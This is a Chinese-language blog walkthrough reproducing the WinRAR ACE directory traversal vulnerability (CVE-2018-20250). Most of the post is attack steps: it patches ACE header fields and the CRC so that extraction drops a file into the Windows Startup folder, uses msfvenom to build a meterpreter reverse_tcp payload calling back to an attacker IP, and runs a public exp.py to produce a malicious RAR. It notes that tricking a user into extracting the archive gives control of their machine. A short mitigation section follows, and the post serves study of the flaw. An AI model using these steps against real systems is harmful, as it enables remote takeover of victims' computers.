前言

这漏洞出来几天了,之前没怎么关注,但是这两天发现开始有利用这个漏洞进行挖矿和病毒传播了,于是想动手复现一波。

WinRAR 代码执行相关的CVE 编号如下:

CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253

这里我们复现最开始的WinRAR目录穿越漏洞(CVE-2018-20250)。

漏洞详情

原理:

WinRAR目录穿越漏洞(CVE-2018-20250):

  该漏洞是由于WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在2006 年被编译,没有任何的基础保护机制(ASLR,DEP 等)。该动态链接库的作用是处理ACE 格式文件。而在解压处理过程中存在一处目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。

影响版本:

WinRAR < 5.70 Beta 1

Bandizip < = 6.2.0.0

好压(2345压缩) < = 5.9.8.10907

360压缩 < = 4.0.0.1170

漏洞利用条件:

  攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下(C:\Users\Administrator\Downloads)或者桌面进行解压,或者多猜几个启动项路径。产生漏洞的DLL文件:UNACEV2.DLL,不能识别相对路径,文件名部分必须为绝对路径。

  以下是几种机器的开机启动项路径,可以看到在个人PC上受用户名影响,无法猜测到准确的路径,而服务器上一般不会修改用户名,所以这个漏洞在服务器上利用度比较高。

Win2003开机启动项路径:C:\Documents and Settings\Administrator\「开始」菜单\程序\启动

Win2008开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win2012开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win7   开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win10 开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  本次试验使用的是Win2008,

漏洞复现

环境工具:

服务器:Win2008 R2

WinRAR 5.60简体中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe

Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe

010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe

Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250

EXP:https://github.com/WyAtu/CVE-2018-20250

漏洞复现:

这里我们写一个bat,进行弹窗演示:

然后打开WinAce,选中我们创建的文件,右键,点击Add to...

  利用WinACE进行压缩,这里选择store full path。

  生成之后我们利用脚本检查一下我们生成的文件1.ace的header信息:

这里几个是我们需要修改的参数。

在010Edit工具中打开刚才生成的1.ace文件,将文件路径替换为启动项路径如下,然后可以看到新的完整的文件路径长度为93,转换为16进制后为:5D。

修改完这两个地方之后点击保存,接着还需要修改hdr_size。

  这三个地方修改完成之后点击保存。

  最后利用acefile.py重新查看文件header信息。修改acefile.py,在3061行处添加以下语句,输出文件hdr_crc。

print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))

可以看到当前的hdr_crc为:16 9A,我们要把它改为E4 A3,保存之后重新查看文件header信息。

  修改完成,将文件另存为1.rar。

选择解压到当前文件夹或解压到文件夹1都可以,可以看到bat文件成功解压到开机启动项里。

重启电脑查看效果。

复现成功,自动运行bat文件弹窗。

MSF利用

  首先下载EXP:

wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip

  这里我解压/root/tools目录下:

  然后利用msf生成一个恶意程序,放到该目录下:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe

  修改exp.py文件:

  将evil_filename改为我们生成的恶意程序。

  将py -3 改为python3,修改完成之后保存,运行以下命令:

python3 exp.py 

  成功生成攻击文件test.rar,只要诱导用户下载解压这个压缩文件呢,就可得到用户电脑权限,这里只演示功能,我们用python简单开启一个http服务:

python -m SimpleHTTPServer

  切换到win2008,也就是我们要攻击的目标机器。下载test.rar,然后直接在下载目录解压(也可选择在桌面解压)。

  可以看到在系统的启动路径下成功解压出hi.exe文件。接着我们在kali上面开启监听,然后重启win2008。

  成功拿到目标机器权限。

漏洞防御

  删除受影响压缩软件目录下UNACEV2.dll文件能有效防御。
  升级到最新版本,WinRAR 目前版本是 5.70 Beta 1。
  总而言之,该漏洞并没有那么致命。目标性的打站,得先欺骗下载,并再在未防护的服务器上解压,企业服务器管理员都很难会这样做。而且必须得服务器重启才能生效,不能直接执行脚本。

参考链接:

https://blog.csdn.net/qq_29910529/article/details/88069707

https://bbs.pediy.com/thread-249613.htm

https://www.cnblogs.com/backlion/p/10417985.html

https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng

http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00

笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/

【漏洞复现】WinRAR目录穿越漏洞(CVE-2018-20250)复现的更多相关文章

  1. Winrar目录穿越漏洞复现

    Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...

  2. winrar目录穿越漏洞

    地址: 参考: https://research.checkpoint.com/extracting-code-execution-from-winrar/ POC: https://github.c ...

  3. WinRAR目录穿越

    WinRAR目录穿越漏洞浅析及复现(CVE-2018-20250) 文章来源: https://www.t00ls.net/articles-50276.html EXP: https://githu ...

  4. nginx目录穿越漏洞复现

    nginx目录穿越漏洞复现 一.漏洞描述 Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞. 二.漏洞原理 1. 修改nginx.conf,在如下图位置添加如下配置 在如 ...

  5. 2020/1/31 PHP代码审计之目录穿越漏洞

    0x00 目录穿越 目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意的存取被限制的文件夹,执行命令或查找数据.目录穿越攻击,也与人称为P ...

  6. Nginx目录穿越漏洞

    Nginx (engine x) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器.Nginx经常被做为反向代理,动态的部分被proxy_pass传递给后端端口,而静 ...

  7. nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现

    nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...

  8. 常见web中间件漏洞(三)Nginx漏洞

    nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务,有  开源,内存占用少,并发能力强,自由模块化,支持epoll模型,可限制连接数,支持热部署,简单 ...

  9. Nginx配置不当(CRLF注入 、目录穿越)

    基于vulhub漏洞环境 环境搭建参考:https://blog.csdn.net/qq_36374896/article/details/84102101 1.漏洞名称 CRLF注入 2.漏洞原理 ...

随机推荐

  1. 利用 Python 写个七夕表白神器

    今天是七夕节,相比于现代人自创的 502,不对是 520,七夕才是中国传统意义上的情人节,本文分享几个 Python 表白程序,情侣可以现学现用,单身的话也可以先收藏一下,说不定下次就用上了. 很多人 ...

  2. DHCP和NAT

    DHCP(dynamic host configuration protocol)用于内网动态分配IP,是一种基于UDP的应用层协议. NAT(net address translation)用于内网 ...

  3. Google Code Jam 2020 Round1B Blindfolded Bullseye

    总结 这一题是道交互题,平时写的不多,没啥调试经验,GYM上遇到了少说交个十几发.一开始很快的想出了恰烂分的方法,但是没有着急写,果然很快就又把Test Set3的方法想到了,但是想到归想到,调了快一 ...

  4. Myabtis动态SQL,你真的会了吗?

    目录 前言 什么是动态SQL? 常用的标签 if choose.when.otherwise where foreach set sql include 总结 拓展一下 Mybatis中如何避免魔数? ...

  5. python实践项目1

    python #南昌理工学院人工智能学院实验室 WORKSHOP 实践项目 import time print('welcome to our WORKSHOP') print('.......... ...

  6. fake_useragent.errors.FakeUserAgentError: Maximum amount of retries reached解决方法!

    UserAgent 就是用户代理,又叫报头,是一串字符串,相当于浏览器的身份证号,在利用爬虫爬取网站数据时,频繁更换它可以避免触发相应的反爬机制. fake-useragent对频繁更换UserAge ...

  7. CTF资源

    WINDOWS 逆向工程师技能表 https://www.sec-wiki.com/skill/6 Software-Security-Learning https://chybeta.github. ...

  8. nodejs解压版安装和配置(带有搭建前端项目脚手架)

    nodejs 安装  我先前用了nvm,觉得nvm挺厉害可以随时更换nodejs版本,但是研究了下,可能自己功力不够还是什么,并不好用,中间还出现了错误:所以最后还是卸载了: 本文图文并茂的一步一步的 ...

  9. sqli-labs 1-10关

    学习sql注入的必做靶场我终于来尝试一下下了. 第一关 ?id=1'时出现 在测试?id=1' and '1'='1,页面正常 ?id=1' and '1'='2  页面错误 判断存在单引号字符型注入 ...

  10. 漏桶、令牌桶限流的Go语言实现

    限流 限流又称为流量控制(流控),通常是指限制到达系统的并发请求数. 我们生活中也会经常遇到限流的场景,比如:某景区限制每日进入景区的游客数量为8万人:沙河地铁站早高峰通过站外排队逐一放行的方式限制同 ...